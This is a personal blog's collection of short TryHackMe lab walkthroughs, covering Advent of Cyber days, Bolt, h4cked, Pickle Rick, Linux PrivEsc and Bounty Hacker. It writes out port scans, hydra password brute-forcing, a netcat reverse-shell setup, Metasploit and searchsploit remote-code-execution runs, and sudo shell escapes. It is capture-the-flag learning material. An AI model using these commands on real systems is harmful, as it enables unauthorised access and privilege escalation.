This is my very first blog with the posts about tutorials, walkthroughs and writeups for ethnical hacking and other cyber security themese
Wednesday, December 14, 2022
TryHackMe.com - Advent of Cyber 2022 - Day 14 - writeup
For second one we copy profile picture and we change id number for images, because profile images have same vulnerability and we can cycle through pictures and we can find the picuter containing flag which is answer of the second question. I hope anyone who gets stuck finds it helpful
AudiTTRSi
Friday, December 2, 2022
TryHackMe.com - Advent of Cyber 2022 - Day 2 - writeup
- Q2
- Q3
- Q5
- Q6
- Q7
- Q8
To answer this use
lscommand on home folder
With previous command you answer the Q3.
Display server log file in console where you see dates and check the week day and you can answer the question.
With displaying the server log file we can see that logs contains only one IP address.
grep -v 404 webserver.logTo display all lines that does not include 404 requests and see only succesful ones and you can then easly see
grep -i THM *.log
grep through all log files in folder to find the flag.
Monday, April 4, 2022
TryHackMe - Bolt
nmap -sC -sV Target_IP
We can see open ports, most intresting is port 8000 with running BOLT CMS.After looking around the web page, we find login username and password in post on the page. We can search for vunlrabilities via web search and we can find following for Authenticated Remote Code Execution. How will you tackle this one? I used metasploit and use following module exploit/unix/webapp/bolt_authenticated_r. Throught the metasploit console set up needed variables LHOST, RHOST, USERNAME, PASSWORD and run the exploit. We need to run:
find / -type f -name flag.txt 2>/dev/null
and we get the flag in a seconds. I hope this short and easy tutorial helped anyone getting stucked in solving this room. audittrsiTuesday, March 22, 2022
TryHackMe - h4cked - walkthrough
- Step
- Step
- Step Before move to the starting the php script we need to start nc listener on attacking box with
- Step Now we are ready to start php script shell.php from browser:
- Step We get spawned reverse shell in terminal, with whoami command we check which user we have, then we can use
- Step After that we can use
We use hydra to crack new password with following command
hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://target_IP
We log to the ftp and download the shell.php (get shell.php - is the command) and change IP and port to our attack box and upload it back (put shell.php)
nc -lvnp port_number
IP_target_machine/shell.php
su jenny
and log in with pass we cracked before with hydrasudo su
and we have root access with this we can read root flag.Wednesday, February 23, 2022
TryHackMe - Pickle Rick - walkthrough
It is a CTF room on TryHackMe page if you are fan of Rick and Morty cartoon you should defently try to solve it. It is not that hard and you can solve it pretty fast.
- step: Start target machine that you will try to exploit and start Attackbox machine.
- step: As usually we try with nmap scan to check what ports are open on target machine with command:
- step: There is nothing much on the page but is it? We check the page source code where we find username which might be useful in next steps
- step: With use of the gobuster we scan webpage to find hidden files or directories I have used following command:
- step: We find the login.php access page but we are missing password. We check the robot.txt file and we get possible password candidate for login. Which turns out that it is actual username and pass.
- step: We end up on command panel where we can write some command like ls and we can see interesting files there with Q1 answer ingridient. We try opening filed with cat command File_name.txt but it doesnt allow us.
- step: In this step we check the clue.txt file which says that we should look around directories for second ingridient. We try to get to other directories in /home/rick/ we find the file second ingridients. Since the spaces in files names and linux arent good friends we need to use less command like this:
- step: with command
- step: we can try
- step: Since we cannot open file in it's folder we can try copying to other directory and change permissions:
- step: In browser open file via Target_IP/3rd.txt. and we can answer last Q3 in this room.
nmap -sC -sV Target_IP
With only 2 ports open we check the web page
gobuster dir -t 40 -u 10.10.151.87 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html,php,txt -t 60
We try with less command File_name.txt voila we opened it and we can answer first Q1.
less '/home/rick/second ingredients'
And voila we have 2nd ingredient and we can answer the Q2.
sudo -l
we check what we can run as root.sudo ls -la /root
and we find 3rd.txtsudo cp /root/3rd.txt /var/www/html/ && chmod 777 3rd.txt
Saturday, February 19, 2022
TryHackMe - Linux PrivEsc - Task 6 - Privilege Escalation : Sudo
With command :
sudo -l
We check what services we can run as root. adn with this info we can answer Q1From output of the command we see 3 services/programs that we can run as root. Now that we have this information we can head over to the GTFObins To check for each service/program that we can gain root access to system.
- Find
- Less
- nano
sudo find . -exec /bin/sh \; -quit
sudo less /etc/profile
!/bin/sh
sudo nano
^R^X
reset; sh 1>&0 2>&0
Note about getting root via nano one command at the time ^R - is CTRL + R and ^X CTRL + X
To answer Q2 we run:
find / -type f -name flag2.txt 2>/dev/null
that we find path to the flag2.txt fileTo answer Q3 we neet to check GTFObins to get command.
To answer Q4 we open /etc/shadow to find answer. I hope this post is helpfull for anyone stuck at solving this task.
Sunday, February 6, 2022
TryHackMe - Bounty Hacker -walkthrough
I was able to finish it up in couple of minutes with some reference from other similar rooms like this one.
- First step
- Second step
- Third step
- Forth step
- Fifth step
- Sixth step
- Seventh step
- Eighth step
In this step you deploy the target VM and start Attackbox if you dont have it up already. It takes a minute or two to start up.
We use nmap to scan target VM.
nmap -A -T4 _IP_target_VM
Command takes some time to scan and display us back what ports are open. You can see 3 ports open 21 with FTP, 22 ssh and 80 apache server.
As FTP is open and it allows you to connect with anonymous user we try to connect to FTP server on target machine with command:
FTP IP_target_VM
When prompted for username you enter anonymous. We check what files we can find on server there are 2 files. One cointains note from one user this is also answer to the Q3 and other is list of what it looks like passwords. You can download files by command:
get file_name
We will use hydra brute forcing tool to check if any passwords from list we could obtain from FTP server. I used following command:
hydra target_VM_IP ssh -l lin -P path_to_the_password_list -s 22 -vV
SSH user i used the one i found in file on FTP server.
After Hydra finish its work and you get correct pass you can ssh to the target VM.
When we are logged in server I tried to find user flag and write location of the file into user-flag file:
find / -type f -name user.txt 2>/dev/nul > user-flag
In this step we check what command can current user run as sudo. We use:
sudo -l
As we see now only one command we can run. We had over to the GTFObins and check what command to run. Copy paste command to the command line and voila we have root access.
Last step is to find the root.txt file we write its location to root-flag file:
find / -type f -name root.txt 2>/dev/null > /tmp/root-flag
I hope this helps to the people who might get stucked during solving this room.
Sunday, January 30, 2022
TryHackMe - Exploit Vulnerabilities module - Task 5 - Practical: Manual Exploitation
TryHackMe is online platform for learning cyber security, using hands-on exercises and labs.
This post refers to the Task 5 - Practical: Manual Explotaition which is part of the module of Exploit Vulnerabilities on THM JR penetration tester course.
Task 5 is final task in this submodule and is to show practical example of things you learned through the previous tasks.
First step is to start VM that you will try to exploit as description says it requires few minutes to boot up. If you will use Attackbox on their site don't forget to start it also.
Second step To answer the Q1 you need to just open website that is hosted on VM you started in first step. Scroll down to the bottom of the page and voila you will find name version of the website.
Third step Now that you know website version you will need to find the way to exploit and gain access to it. You could also online tools but this Task 5 one aims towards use of the searchsploit tool that is installed and ready to use in Attackbox machine. we use following command:
searchsploit online book store
We get 4 different results, but we choose last from the list wich offers remote code execution.
Forth step - To start exploit you will use following command:
python name_of_script.py VM_IP
Since I was not in the same directory as exploit script I got error that exploit script was not found, so I used:
locate 47887.py
With that I found correct location of the exploit script and then i could ran exploit script correctly without errors:
python path_to_the_exploit_/47887.py VM_ip_Address
You are then only prompted to continue with exploit and in matter of seconds you get access to the shell of the VM.
Fifth step - finding flag.txt file and answer to the Q3 of this task.
This did not require much of the search since file is located in current folder and I used
cat flag.txt
To display flag.txt file content. I hope that this post is helpful for anyone trying to solve this challenge. audittrsi
TryHackMe - Shadow Trace Writeup
Shadow Trace is premium room on TryHackMe.com part of the SOC Level 1 Path. We need to analyse a suspicious file, uncover hidden clues, an...
-
It has been a while since my last tinkering around VM machines on my laptop. Today I just had little bit of time to install new Debian 13 ...
-
This is my first writeup/walkthrough post for the TryHackMe website. TryHackMe is online platform for learning cyber security, using hand...